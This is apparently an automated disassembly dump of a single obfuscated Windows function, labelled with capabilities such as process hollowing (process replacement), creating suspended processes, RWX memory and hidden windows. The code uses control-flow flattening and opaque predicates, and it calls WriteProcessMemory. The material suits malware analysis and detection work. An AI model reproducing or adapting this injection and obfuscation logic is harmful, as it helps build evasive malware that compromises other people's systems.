Function at 0x10008900
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x184
mov eax, dword [0x10074000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18c], 0x90fae1da
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x190], eax
sub eax, 0x802c849c
je 0x10010975
jmp 0x1000893c
mov eax, dword [ebp - 0x190]
sub eax, 0x80573667
je 0x10012669
jmp 0x10008952
mov eax, dword [ebp - 0x190]
sub eax, 0x80bee58f
je 0x100148e9
jmp 0x10008968
mov eax, dword [ebp - 0x190]
sub eax, 0x81b38738
je 0x100108fb
jmp 0x1000897e
mov eax, dword [ebp - 0x190]
sub eax, 0x81d4efb3
je 0x100150ff
jmp 0x10008994
mov eax, dword [ebp - 0x190]
sub eax, 0x81dc1138
je 0x1000dd41
jmp 0x100089aa
mov eax, dword [ebp - 0x190]
sub eax, 0x81e5b344
je 0x100152dd
jmp 0x100089c0
mov eax, dword [ebp - 0x190]
sub eax, 0x81f6c822
je 0x1000de91
jmp 0x100089d6
mov eax, dword [ebp - 0x190]
sub eax, 0x822212f0
je 0x10015271
jmp 0x100089ec
mov eax, dword [ebp - 0x190]
sub eax, 0x829c601d
je 0x10010ba9
jmp 0x10008a02
mov eax, dword [ebp - 0x190]
sub eax, 0x82ede010
je 0x1000ca34
jmp 0x10008a18
mov eax, dword [ebp - 0x190]
sub eax, 0x83cd7093
je 0x10013f51
jmp 0x10008a2e
mov eax, dword [ebp - 0x190]
sub eax, 0x83d7340d
je 0x1000f9d8
jmp 0x10008a44
mov eax, dword [ebp - 0x190]
sub eax, 0x84a69795
je 0x10012acb
jmp 0x10008a5a
mov eax, dword [ebp - 0x190]
sub eax, 0x84ed0782
je 0x100129a9
jmp 0x10008a70
mov eax, dword [ebp - 0x190]
sub eax, 0x8518ddf8
je 0x1000fa99
jmp 0x10008a86
mov eax, dword [ebp - 0x190]
sub eax, 0x85216147
je 0x10014faa
jmp 0x10008a9c
mov eax, dword [ebp - 0x190]
sub eax, 0x859ccffb
je 0x1000da9e
jmp 0x10008ab2
mov eax, dword [ebp - 0x190]
sub eax, 0x85d5017b
je 0x1000ef80
jmp 0x10008ac8
mov eax, dword [ebp - 0x190]
sub eax, 0x85e409eb
je 0x10014fc9
jmp 0x10008ade
mov eax, dword [ebp - 0x190]
sub eax, 0x85f199ae
je 0x10011116
jmp 0x10008af4
mov eax, dword [ebp - 0x190]
sub eax, 0x8608da8b
je 0x1001127c
jmp 0x10008b0a
mov eax, dword [ebp - 0x190]
sub eax, 0x861e3483
je 0x1000f51f
jmp 0x10008b20
mov eax, dword [ebp - 0x190]
sub eax, 0x871486bd
je 0x1000d7ff
jmp 0x10008b36
mov eax, dword [ebp - 0x190]
sub eax, 0x87afcc73
je 0x100129c8
jmp 0x10008b4c
mov eax, dword [ebp - 0x190]
sub eax, 0x87b9c698
je 0x10014a1d
jmp 0x10008b62
mov eax, dword [ebp - 0x190]
sub eax, 0x87c2029d
je 0x1000d2f9
jmp 0x10008b78
mov eax, dword [ebp - 0x190]
sub eax, 0x87fcbb65
je 0x1000dbfb
jmp 0x10008b8e
mov eax, dword [ebp - 0x190]
sub eax, 0x8976233c
je 0x100150a3
jmp 0x10008ba4
mov eax, dword [ebp - 0x190]
sub eax, 0x898b8aee
je 0x10011db5
jmp 0x10008bba
mov eax, dword [ebp - 0x190]
sub eax, 0x8a4cb17a
je 0x1001338f
jmp 0x10008bd0
mov eax, dword [ebp - 0x190]
sub eax, 0x8a692dce
je 0x10010e02
jmp 0x10008be6
mov eax, dword [ebp - 0x190]
sub eax, 0x8b833c25
je 0x1000ce2c
jmp 0x10008bfc
mov eax, dword [ebp - 0x190]
sub eax, 0x8b94beaa
je 0x10014685
jmp 0x10008c12
mov eax, dword [ebp - 0x190]
sub eax, 0x8b9e0d77
je 0x100144e6
jmp 0x10008c28
mov eax, dword [ebp - 0x190]
sub eax, 0x8bbe3416
je 0x10013229
jmp 0x10008c3e
mov eax, dword [ebp - 0x190]
sub eax, 0x8c03f471
je 0x1000fef1
jmp 0x10008c54
mov eax, dword [ebp - 0x190]
sub eax, 0x8c63a623
je 0x1000ddda
jmp 0x10008c6a
mov eax, dword [ebp - 0x190]
sub eax, 0x8ccf16c8
je 0x1000f4b4
jmp 0x10008c80
mov eax, dword [ebp - 0x190]
sub eax, 0x8d3c6fb5
je 0x1000e52e
jmp 0x10008c96
mov eax, dword [ebp - 0x190]
sub eax, 0x8da9f439
je 0x1000ec05
jmp 0x10008cac
mov eax, dword [ebp - 0x190]
sub eax, 0x8dba9123
je 0x10011ffa
jmp 0x10008cc2
mov eax, dword [ebp - 0x190]
sub eax, 0x8dc325a5
je 0x100111ca
jmp 0x10008cd8
mov eax, dword [ebp - 0x190]
sub eax, 0x8df14348
je 0x10014a88
jmp 0x10008cee
mov eax, dword [ebp - 0x190]
sub eax, 0x8e38e7c5
je 0x1000c648
jmp 0x10008d04
mov eax, dword [ebp - 0x190]
sub eax, 0x8e497c93
je 0x1000d16d
jmp 0x10008d1a
mov eax, dword [ebp - 0x190]
sub eax, 0x8ee136f1
je 0x10012087
jmp 0x10008d30
mov eax, dword [ebp - 0x190]
sub eax, 0x8f207efb
je 0x1000d5bb
jmp 0x10008d46
mov eax, dword [ebp - 0x190]
sub eax, 0x8f73503d
je 0x10012b39
jmp 0x10008d5c
mov eax, dword [ebp - 0x190]
sub eax, 0x8fb21691
je 0x10011918
jmp 0x10008d72
mov eax, dword [ebp - 0x190]
sub eax, 0x8fbc78e9
je 0x1000cb4e
jmp 0x10008d88
mov eax, dword [ebp - 0x190]
sub eax, 0x90a5cae1
je 0x10015262
jmp 0x10008d9e
mov eax, dword [ebp - 0x190]
sub eax, 0x90e0b766
je 0x1000de2b
jmp 0x10008db4
mov eax, dword [ebp - 0x190]
sub eax, 0x90fae1da
je 0x1000c477
jmp 0x10008dca
mov eax, dword [ebp - 0x190]
sub eax, 0x91336eb5
je 0x10012fa8
jmp 0x10008de0
mov eax, dword [ebp - 0x190]
sub eax, 0x914c3d33
je 0x10012881
jmp 0x10008df6
mov eax, dword [ebp - 0x190]
sub eax, 0x915c467b
je 0x1000fbbf
jmp 0x10008e0c
mov eax, dword [ebp - 0x190]
sub eax, 0x91b0d578
je 0x10011cf4
jmp 0x10008e22
mov eax, dword [ebp - 0x190]
sub eax, 0x91bcdcfa
je 0x10014bcd
jmp 0x10008e38
mov eax, dword [ebp - 0x190]
sub eax, 0x9242e9ed
je 0x10010281
jmp 0x10008e4e
mov eax, dword [ebp - 0x190]
sub eax, 0x92a94739
je 0x100125ef
jmp 0x10008e64
mov eax, dword [ebp - 0x190]
sub eax, 0x92fca23e
je 0x100141cf
jmp 0x10008e7a
mov eax, dword [ebp - 0x190]
sub eax, 0x93d20499
je 0x1000f7c8
jmp 0x10008e90
mov eax, dword [ebp - 0x190]
sub eax, 0x940853b3
je 0x100123a2
jmp 0x10008ea6
mov eax, dword [ebp - 0x190]
sub eax, 0x944d8f1e
je 0x10012e50
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x18c], 0xfcc19553
jmp 0x10015518
mov dword [ebp - 0x18c], 0x3bee95d6
jmp 0x10015518
mov eax, dword [0x10075328]
mov ecx, dword [0x10075324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x359ac774
mov ecx, 0xf0282e71
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
movss xmm0, dword [0x100227c4]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x18c], 0x73897667
jmp 0x10015518
movss xmm0, dword [0x100227ac]
movss dword [ebp - 0x13c], xmm0
movss xmm0, dword [0x100227a8]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x18c], 0x31756585
jmp 0x10015518
mov dl, 1
mov eax, 0xeaabc76f
mov ecx, 0x514f39b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
mov ecx, dword [0x10075328]
mov eax, dword [0x10075324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8df14348
mov ecx, 0x4c4f2731
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
movss xmm0, dword [0x100224a4]
movss dword [ebp - 0x140], xmm0
mov eax, dword [0x10075328]
mov ecx, dword [0x10075324]
mov edx, eax
sub edx, 0xe7a9177
sub edx, 1
add edx, 0xe7a9177
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa63908b1
mov ecx, 0xd64a64da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
mov dl, 1
mov eax, 0xaf8ead2e
mov ecx, 0x64925315
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
mov dword [ebp - 0x18c], 0x592bd191
jmp 0x10015518
mov eax, dword [0x10075328]
mov ecx, dword [0x10075324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xffa97ef1
mov ecx, 0xefb84675
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
movss xmm0, dword [0x10022748]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x18c], 0x399f4956
jmp 0x10015518
mov eax, dword [0x10075328]
mov ecx, dword [0x10075324]
mov edx, eax
add edx, 0x2919b497
sub edx, 1
sub edx, 0x2919b497
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7333f965
mov ecx, 0x90e0b766
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
mov eax, dword [0x10075328]
mov ecx, dword [0x10075324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7333f965
mov ecx, 0x13aeb69c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
movss xmm0, dword [0x10022738]
movss dword [ebp - 0x144], xmm0
movss xmm0, dword [0x10022734]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x18c], 0x99864349
jmp 0x10015518
movss xmm0, dword [0x1002270c]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x18c], 0xe193776c
jmp 0x10015518
movss xmm0, dword [0x100226dc]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x18c], 0x43f36ca0
jmp 0x10015518
mov ecx, dword [0x10075328]
mov eax, dword [0x10075324]
mov edx, ecx
add edx, 0x48dea615
sub edx, 1
sub edx, 0x48dea615
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7f8d2649
mov ecx, 0x97bd3d12
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
movss xmm0, dword [0x100226a8]
movss dword [ebp - 0x150], xmm0
mov dword [ebp - 0x18c], 0x5c684686
jmp 0x10015518
mov dword [ebp - 0x18c], 0x2795fea2
jmp 0x10015518
movss xmm0, dword [0x10022688]
movss dword [ebp - 0x154], xmm0
mov dword [ebp - 0x18c], 0x13d72af0
jmp 0x10015518
movss xmm0, dword [0x10022444]
movss dword [ebp - 0x154], xmm0
mov eax, dword [0x10075328]
mov ecx, dword [0x10075324]
mov edx, eax
add edx, 0x7e32fd98
sub edx, 1
sub edx, 0x7e32fd98
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe1ba9dd
mov ecx, 0xb8987fa8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
movss xmm0, dword [0x10022440]
movss dword [ebp - 0x154], xmm0
mov ecx, dword [0x10075328]
mov eax, dword [0x10075324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9e649f04
mov ecx, 0xac6236f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
mov dl, 1
mov eax, 0xcd7452a
mov ecx, 0x2c324e8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
mov dword [ebp - 0x18c], 0x2d4743c9
jmp 0x10015518
mov ecx, dword [0x10075328]
mov eax, dword [0x10075324]
mov edx, ecx
add edx, 0x1a86d5e3
sub edx, 1
sub edx, 0x1a86d5e3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2df7bde2
mov ecx, 0x35315ea5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
movss xmm0, dword [0x10022610]
movss dword [ebp - 0x15c], xmm0
mov dword [ebp - 0x18c], 0x4a9de8ca
jmp 0x10015518
movss xmm0, dword [0x10022604]
movss dword [ebp - 0x160], xmm0
movss xmm0, dword [0x10022600]
movss dword [ebp - 0x160], xmm0
movss xmm0, dword [0x100225fc]
movss dword [ebp - 0x160], xmm0
mov dword [ebp - 0x18c], 0xb495d583
jmp 0x10015518
mov eax, dword [0x10075328]
mov ecx, dword [0x10075324]
mov edx, eax
sub edx, 0xea1f8b5a
sub edx, 1
add edx, 0xea1f8b5a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x85216147
mov ecx, 0x3a12b611
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
movss xmm0, dword [0x10022408]
movss dword [ebp - 0x160], xmm0
mov eax, dword [0x10075328]
mov ecx, dword [0x10075324]
mov edx, eax
sub edx, 0xf52be826
sub edx, 1
add edx, 0xf52be826
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x703d083b
mov ecx, 0x1d89f170
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
movss xmm0, dword [0x100223fc]
movss dword [ebp - 0x164], xmm0
movss xmm0, dword [0x100223f8]
movss dword [ebp - 0x164], xmm0
mov ecx, dword [0x10075328]
mov eax, dword [0x10075324]
mov edx, ecx
add edx, 0x158358d7
sub edx, 1
sub edx, 0x158358d7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xae209309
mov ecx, 0xf00c4e6a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
movss xmm0, dword [0x100225bc]
movss dword [ebp - 0x164], xmm0
mov dword [ebp - 0x18c], 0x9720704a
jmp 0x10015518
movss xmm0, dword [0x100223f4]
movss dword [ebp - 0x164], xmm0
mov ecx, dword [0x10075328]
mov eax, dword [0x10075324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcd4e4dee
mov ecx, 0x99c66469
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
mov dword [ebp - 0x18c], 0xddea7efb
jmp 0x10015518
mov dword [ebp - 0x18c], 0x39facd17
jmp 0x10015518
mov dword [ebp - 0x18c], 0xbee31102
jmp 0x10015518
movss xmm0, dword [0x10022548]
movss dword [ebp - 0x16c], xmm0
mov dword [ebp - 0x18c], 0x3e5c8b57
jmp 0x10015518
movss xmm0, dword [0x100223d4]
movss dword [ebp - 0x16c], xmm0
movss xmm0, dword [0x100223d0]
movss dword [ebp - 0x16c], xmm0
mov eax, dword [0x10075328]
mov ecx, dword [0x10075324]
mov edx, eax
add edx, 0x57b5c2dc
sub edx, 1
sub edx, 0x57b5c2dc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x70a9d0de
mov ecx, 0x4d9cd638
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
mov dl, 1
mov eax, 0x39d98910
mov ecx, 0x77b5080
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
mov dl, 1
mov eax, 0x1e6a55a5
mov ecx, 0x414dd65
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
mov eax, dword [0x10075328]
mov ecx, dword [0x10075324]
mov edx, eax
add edx, 0xe5c84f2c
sub edx, 1
sub edx, 0xe5c84f2c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xedab7e3b
mov ecx, 0x492077ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
mov ecx, dword [0x10075328]
mov eax, dword [0x10075324]
mov edx, ecx
add edx, 0xd72fa1b7
sub edx, 1
sub edx, 0xd72fa1b7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x90a5cae1
mov ecx, 0xbc6cd1b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
movss xmm0, dword [0x100224f4]
movss dword [ebp - 0x174], xmm0
mov dword [ebp - 0x18c], 0x87afcc73
jmp 0x10015518
mov ecx, dword [0x10075328]
mov eax, dword [0x10075324]
mov edx, ecx
add edx, 0x10ee1319
sub edx, 1
sub edx, 0x10ee1319
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x822212f0
mov ecx, 0x971278f1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
mov dl, 1
mov eax, 0x52183728
mov ecx, 0x48cd5a11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
movss xmm0, dword [0x100223b8]
movss dword [ebp - 0x174], xmm0
mov ecx, dword [0x10075328]
mov eax, dword [0x10075324]
mov edx, ecx
add edx, 0x73496360
sub edx, 1
sub edx, 0x73496360
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfa0eef49
mov ecx, 0x392d3d02
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4b000
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x18c], 0x513766e
jmp 0x10015518
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100164f0
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100164f0
add esp, 0xc
mov eax, dword [ebp - 0x184]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0xed], al
mov dword [ebp - 0x18c], 0x44e76dbe
jmp 0x10015518
mov eax, dword [0x10075328]
mov ecx, dword [0x10075324]
mov edx, eax
sub edx, 0x4899c4ed
sub edx, 1
add edx, 0x4899c4ed
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xebb1cdc5
mov ecx, 0x1dc5447d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
mov ecx, dword [0x10075328]
mov eax, dword [0x10075324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x99fdcb
mov ecx, 0xf5930a2e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x18c], 0xbd0f6f97
jmp 0x10015518
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
add ecx, 0x4fe8919b
add ecx, 8
sub ecx, 0x4fe8919b
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x12c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x18c], 0xab341c76
jmp 0x10015518
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x18c], 0xcf03e953
jmp 0x10015518
mov eax, dword [0x10075328]
mov ecx, dword [0x10075324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x63d8c077
mov ecx, 0x34ad7d1c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x10015518
mov dword [ebp - 0x18c], 0x9dfcd69e
jmp 0x10015518
movss xmm0, dword [0x100224ac]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x18c], 0x4c4f2731
jmp 0x10015518
movss xmm0, dword [0x10022484]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x18c], 0xad10b5d2
jmp 0x10015518
movss xmm0, dword [0x10022410]
movss dword [ebp - 0x160], xmm0
mov dword [ebp - 0x18c], 0x3a12b611
jmp 0x10015518
movss xmm0, dword [0x1002240c]
movss dword [ebp - 0x160], xmm0
mov dword [ebp - 0x18c], 0x3cc4f253
jmp 0x10015518
mov dword [ebp - 0x18c], 0x3ddd2a5
jmp 0x10015518
movss xmm0, dword [0x100223e4]
movss dword [ebp - 0x168], xmm0
mov dword [ebp - 0x18c], 0xeb1642a5
jmp 0x10015518
mov dword [ebp - 0x18c], 0xbc6cd1b0
jmp 0x10015518
movss xmm0, dword [0x100223bc]
movss dword [ebp - 0x174], xmm0
mov dword [ebp - 0x18c], 0x971278f1
jmp 0x10015518
movss xmm0, dword [0x100223b0]
movss dword [ebp - 0x174], xmm0
mov dword [ebp - 0x18c], 0x456ae5ca
jmp 0x10015518
jmp 0x10008920